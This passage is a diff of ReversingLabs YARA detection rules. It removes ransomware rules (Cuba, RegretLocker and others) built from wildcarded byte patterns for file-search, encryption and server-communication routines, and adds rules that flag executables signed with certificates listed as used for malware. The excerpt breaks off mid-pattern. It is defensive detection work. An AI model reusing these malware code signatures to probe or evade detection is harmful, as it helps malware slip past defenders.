51 8D 95 ?? ?? ?? ?? 52 6A ?? 6A - ?? 6A ?? 6A ?? B8 ?? ?? ?? ?? 6A ?? 66 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D - 85 ?? ?? ?? ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF D3 85 C0 74 ?? E8 - } - $file_search_3_2_1 = { - 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 50 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B F0 FF 15 ?? ?? ?? ?? 56 8B F8 FF 15 ?? - ?? ?? ?? 83 FF ?? 0F 85 - } - $file_search_3_2_2 = { - 8B 35 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? - ?? FF D6 6A ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? - 51 8D 95 ?? ?? ?? ?? 52 6A ?? 6A ?? 6A ?? 6A ?? B8 ?? ?? ?? ?? 6A ?? 66 89 85 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? FF D7 85 C0 74 ?? E8 - } - $search_and_encrypt_3_1 = { - 8B C3 83 C4 ?? 8D 50 ?? [1-3] 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 83 F8 ?? 76 - ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D ?? - ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? - ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 - ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB - } - $search_and_encrypt_3_2 = { - 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 - 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 - 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? B8 ?? ?? - ?? ?? 90 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 - ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 - } - $search_and_encrypt_3_3 = { - 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 8D ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 53 - 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D ?? ?? - ?? ?? ?? 68 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? - ?? ?? 68 ?? ?? ?? ?? ?? E8 - } - $search_and_encrypt_3_4 = { - E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 57 56 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? 8B CE E8 - ?? ?? ?? ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 8B C6 E8 ?? - ?? ?? ?? 83 F8 ?? 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 E8 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "1c:c3:7d:e5:db:ed:09:7f:98:f5:6d:bc" and 1476693977 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_50F66Ab0D7Ed19B69D48F635E69572Fa : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "9938b4c5-4a2b-5f4a-92a0-28c3519b1ed3" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15278-L15294" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "28f71c0572e769d4a0cb289071912bc79cddfd98a3a8161c5400c7bee7090bf5" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( ( $file_search_0_3_1_1 and $file_search_0_3_1_2 and $encrypt_file_0_2_6a_1 and $encrypt_file_0_2_6a_2 and $server_communication_0_2_6a_1 and $server_communication_0_2_6a_2 ) or ( $file_search_0_3_1_1 and $file_search_0_3_1_2 and $encrypt_file_0_3_1 and $server_communication_0_3_1_1 and $server_communication_0_3_1_2 ) or ( $file_search_0_3_3_1 and $file_search_0_3_3_2 and $encrypt_file_0_3_3_1 and $encrypt_file_0_3_3_2 and $server_communication_0_3_3_1 and $server_communication_0_3_3_2 ) or ( $file_search_0_3_4a_1 and $file_search_0_3_4a_2 and $encrypt_file_0_3_4a_1 and $encrypt_file_0_3_4a_2 and $server_communication_0_3_4a_1 and $server_communication_0_3_4a_2 ) or ( $file_search_0_3_5a_1 and $file_search_0_3_5a_2 and $encrypt_file_0_3_5a_1 and $encrypt_file_0_3_5a_2 and $server_communication_0_3_5a_1 and $server_communication_0_3_5a_2 ) or ( $server_communication_2_0_4e and $search_and_encrypt_2_0_4e_1 and $search_and_encrypt_2_0_4e_2 and $search_and_encrypt_2_0_4e_3 and $search_and_encrypt_2_0_4e_4 and $search_and_encrypt_2_0_4e_5 ) or ( $server_communication_4_0_1 and $server_communication_4_0_2 and $server_communication_4_0_3 and $file_search_4_0_1 and $file_search_4_0_2 and $file_search_4_0_3 ) or ( $file_search_4_1b_1 and $file_search_4_1b_2 and $file_search_4_1b_3 and $server_communication_4_1b_1 and $server_communication_4_1b_2 and $server_communication_4_1b_3 and $server_communication_4_1b_4 and $server_communication_4_1b_5 ) or ( $file_search_4_2_1 and $file_search_4_2_2 and $server_communication_4_1b_1 and $server_communication_4_2_1 and $server_communication_4_2_2 and $server_communication_4_2_3 and $server_communication_4_2_4 and $server_communication_4_2_5 ) or ( $server_communication_4_0_1 and $server_communication_3_1 and $server_communication_3_2 and $file_search_3_1 and $file_search_3_1_1 and $file_search_3_1_2 and $search_and_encrypt_3_1 and $search_and_encrypt_3_2 and $search_and_encrypt_3_3 and $search_and_encrypt_3_4 ) or ( $server_communication_4_0_1 and $server_communication_3_1 and $server_communication_3_2 and $file_search_3_1 and $file_search_3_2_1 and $file_search_3_2_2 and $search_and_encrypt_3_1 and $search_and_encrypt_3_2 and $search_and_encrypt_3_3 and $search_and_encrypt_3_4 ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Wei Liu" and pe.signatures [ i ] . serial == "50:f6:6a:b0:d7:ed:19:b6:9d:48:f6:35:e6:95:72:fa" and 1467158400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Cuba : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_11212F502836A784752160351Defb136Cf09 : INFO FILE { meta: - description = "Yara rule that detects Cuba ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b2c81849-9fa6-58b6-b6fe-4d9a5f0923ea" - date = "2020-06-26" - modified = "2020-07-15" + id = "7609083d-145b-5594-a04b-72c2862873eb" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Cuba.yara#L1-L126" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15296-L15312" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0a8dea6e38a6407897b994ea119bc8b0712a94363b7b3942dcd32c65ee5548d4" + logic_hash = "63d4c1aaafdf6de14d0ae78035644cf6b0fefab8b0063d2566ca38af9f9498d2" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Cuba" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 51 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8B D7 8D 4D ?? E8 ?? - ?? ?? ?? 83 C4 ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 4D ?? E8 ?? - ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 72 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? - 0F B7 00 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? - 0F B7 40 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 - ?? 0F B7 40 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 - 45 ?? 0F B7 40 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? B0 ?? EB ?? 32 C0 84 C0 - 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D3 C6 - 45 ?? ?? 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 0F 82 ?? ?? ?? ?? 8B 4D - ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 - ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 55 ?? - 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 75 ?? 8B 5D ?? 83 FB ?? 8B 7D ?? 8B 45 ?? 0F - 43 F7 83 F8 ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75 ?? 83 C1 ?? - 83 EA ?? 75 ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 75 ?? 0F 43 F7 83 F8 ?? 75 ?? B9 - ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75 ?? E9 ?? ?? - ?? ?? 8B 45 ?? 83 FB ?? 8D 75 ?? 0F 43 F7 83 F8 ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1 - } - $find_files_p2 = { - 66 8B 04 0E 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75 ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? - 8D 75 ?? 0F 43 F7 83 F8 ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75 - ?? 83 C1 ?? 83 EA ?? 75 ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 75 ?? 0F 43 F7 83 F8 - ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75 - ?? EB ?? 83 7D ?? ?? 75 ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 FA ?? 0F 43 C1 66 83 38 ?? - 75 ?? 83 FA ?? 8D 45 ?? 0F 43 C1 66 83 78 ?? ?? 75 ?? 83 FA ?? 8D 45 ?? 0F 43 C1 66 - 83 78 ?? ?? 75 ?? 83 FA ?? 8D 45 ?? 0F 43 C1 66 83 78 ?? ?? 74 ?? 8B 8D ?? ?? ?? ?? - 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? C6 45 ?? ?? 83 FB ?? 72 ?? 8D 0C 5D ?? - ?? ?? ?? 8B C7 81 F9 ?? ?? ?? ?? 72 ?? 8B 7F ?? 83 C1 ?? 2B C7 83 C0 ?? 83 F8 ?? 0F - 87 ?? ?? ?? ?? 51 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B - 9D ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B - C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? - ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 88 45 ?? 8B 55 ?? C7 45 - ?? ?? ?? ?? ?? 66 89 45 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA - ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? - ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 - } - $enum_resources = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 - 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B DA 89 5D ?? 8D 45 ?? C7 45 ?? ?? ?? - ?? ?? 50 51 6A ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 32 - C0 E9 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 74 ?? 66 90 - FF 75 ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 56 8D 45 ?? 50 FF 75 ?? FF 15 - ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 FF 39 7D ?? 76 ?? 83 C6 ?? 83 7E ?? ?? 0F 85 - ?? ?? ?? ?? 83 3E ?? 0F 85 ?? ?? ?? ?? 8B 56 ?? 33 C0 66 89 45 ?? 8B C2 C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 58 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C3 8D 4D - ?? D1 F8 50 52 E8 ?? ?? ?? ?? 8B 5D ?? 8D 45 ?? 50 8B CB C7 45 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? - 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 - E8 ?? ?? ?? ?? 83 C4 ?? F7 46 ?? ?? ?? ?? ?? 74 ?? 8D 4E ?? 8B D3 E8 ?? ?? ?? ?? 47 - 83 C6 ?? 3B 7D ?? 0F 82 ?? ?? ?? ?? 8B 75 ?? E9 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF - 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 94 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B - 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 - 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 8B 7D ?? 0F 57 C0 66 0F 13 45 ?? - C7 45 ?? ?? ?? ?? ?? 8B C7 83 7F ?? ?? 72 ?? 8B 07 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? - 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 83 FB ?? 75 ?? FF 15 ?? ?? - ?? ?? 32 DB E9 ?? ?? ?? ?? 8D 8E ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 - ?? 8D 8E ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8E ?? ?? ?? ?? 6A ?? 8D - 41 ?? 50 6A ?? 8D 56 ?? 51 52 89 55 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 53 FF 15 - ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 77 ?? 8D 45 ?? 8B CE - 50 E8 ?? ?? ?? ?? EB ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 77 ?? 6A ?? EB ?? 6A ?? 8D - 45 ?? 8B CE 50 E8 ?? ?? ?? ?? 8B 75 ?? 8A D8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 83 - CE ?? 89 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D7 8D 4D ?? E8 ?? ?? ?? ?? - 83 C4 ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? 83 7F ?? ?? 72 ?? 8B 3F 50 57 FF 15 ?? ?? - ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? - 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? - 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 83 FE ?? 74 ?? 56 FF 15 - ?? ?? ?? ?? 8A C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? - ?? ?? 8B E5 5D C2 ?? ?? E8 ?? ?? ?? ?? CC CC CC 55 8B EC 83 E4 ?? 81 EC - } - $encrypt_files_p2 = { - A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 8B 5D ?? 56 57 8B F9 89 5C 24 ?? 6A ?? - 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 51 8B 17 8B 47 ?? 2B C2 50 52 FF 33 FF 15 ?? ?? - ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 89 43 ?? 32 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 - CC E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? 8B 44 24 ?? 8B 57 ?? 8B 0F 89 44 24 ?? 89 54 24 - ?? 89 4C 24 ?? 85 C0 7E ?? 8B D8 8B 47 ?? 8B F3 2B 47 ?? 3B D8 52 0F 43 F0 8D 47 ?? - 56 51 50 E8 ?? ?? ?? ?? 56 FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 2B DE - 8B 54 24 ?? 03 CE 83 C4 ?? 89 4C 24 ?? 85 DB 7F ?? 8B 5C 24 ?? 6A ?? 6A ?? 0F 57 C0 - 66 0F 13 44 24 ?? FF 74 24 ?? FF 74 24 ?? FF 33 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? - 85 C0 75 ?? FF D6 89 43 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? A1 ?? - ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 83 C4 ?? A1 ?? ?? ?? ?? 89 44 24 ?? A1 ?? ?? ?? ?? - 89 44 24 ?? 8D 87 ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 4C 24 ?? ?? 8D 44 24 ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 44 24 ?? C7 44 24 - ?? ?? ?? ?? ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF D6 89 43 ?? 6A ?? 8D 44 24 - ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? FF 37 FF 33 FF 15 ?? ?? ?? ?? 85 C0 75 ?? - FF D6 89 43 ?? 32 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2 - ?? ?? 8B 8C 24 ?? ?? ?? ?? B0 ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EVANGEL TECHNOLOGY(HK) LIMITED" and pe.signatures [ i ] . serial == "11:21:2f:50:28:36:a7:84:75:21:60:35:1d:ef:b1:36:cf:09" and 1463726573 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_2C16Be9A7Ce2A23Ab7A4B4Eb7Da3400C : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "4e17aed7-fd76-549f-bcf7-84c97efc44e4" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15314-L15330" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "917f324cbe91718efc9b2f41ef947fa8f1a501dde319936774d702d57b1e6b37" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Prince city music bar" and pe.signatures [ i ] . serial == "2c:16:be:9a:7c:e2:a2:3a:b7:a4:b4:eb:7d:a3:40:0c" and 1371081600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Regretlocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_22Accad235Fb1Ac7422Ebe5Ea7Ac9Bc5 : INFO FILE { meta: - description = "Yara rule that detects RegretLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c4e515cc-b0c2-57b2-a230-619ec01ac8d4" - date = "2021-04-02" - modified = "2021-04-02" + id = "218543f3-298f-5038-8fa9-3abeda9e4d8f" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.RegretLocker.yara#L1-L206" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15332-L15348" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3927dfecacd74f60a169f82b68df5747daa90eaba77f24c5e730ce4c48d426a3" + logic_hash = "b348c502aeae036f6d17283260ed4479427f89c8c25f2b6d59e137e90694dbe4" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "RegretLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection_p1 = { - 55 8B EC 8B 41 ?? 8B 55 ?? 3B C2 72 ?? 2B C2 56 8B 75 ?? 3B C6 0F 42 F0 83 79 ?? ?? - 72 ?? 8B 09 56 03 CA 51 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 5E 5D C2 ?? ?? E8 ?? - ?? ?? ?? CC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 83 65 ?? ?? 8D 45 ?? 53 - 56 57 50 E8 ?? ?? ?? ?? 83 65 ?? ?? 50 E8 ?? ?? ?? ?? 83 4D ?? ?? 8A D8 59 59 8D 4D - ?? E8 ?? ?? ?? ?? 84 DB 0F 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? - C7 45 ?? ?? ?? ?? ?? 8B CC 6A ?? 83 61 ?? ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 - 19 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 - E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 59 59 8B 8D ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 6A ?? 5B 3B CB C6 45 ?? ?? 0F 43 C2 80 78 ?? - ?? 75 ?? 3B CB 8D 85 ?? ?? ?? ?? 0F 43 C2 80 78 ?? ?? 75 ?? 3B CB 8D 85 ?? ?? ?? ?? - 0F 43 C2 80 78 ?? ?? 75 ?? 3B CB 8D 85 ?? ?? ?? ?? 0F 43 C2 80 78 ?? ?? 75 ?? 3B CB - 8D 85 ?? ?? ?? ?? 0F 43 C2 80 78 ?? ?? 75 ?? 83 BD ?? ?? ?? ?? ?? 0F 84 - } - $remote_connection_p2 = { - 8D 45 ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B C8 C7 04 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 84 C0 75 ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 3B FB 8D B5 ?? ?? ?? ?? 8B 9D - ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 0F 43 C3 83 FF ?? 0F 43 F3 0F 43 D3 33 C9 8A 40 ?? 3A - 46 ?? 0F BE 42 ?? 0F 94 C1 3B C8 75 ?? 83 FF ?? 8D 85 ?? ?? ?? ?? 0F 43 C3 80 78 ?? - ?? 75 ?? 83 FF ?? 8D 85 ?? ?? ?? ?? 0F 43 C3 80 78 ?? ?? 74 ?? 32 DB EB ?? B3 ?? F6 - 45 ?? ?? 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 DB 74 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 6A ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5F 6A ?? 33 DB 89 BD - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 53 89 59 ?? 89 79 ?? 68 ?? ?? ?? ?? - 88 19 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59 - ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B B5 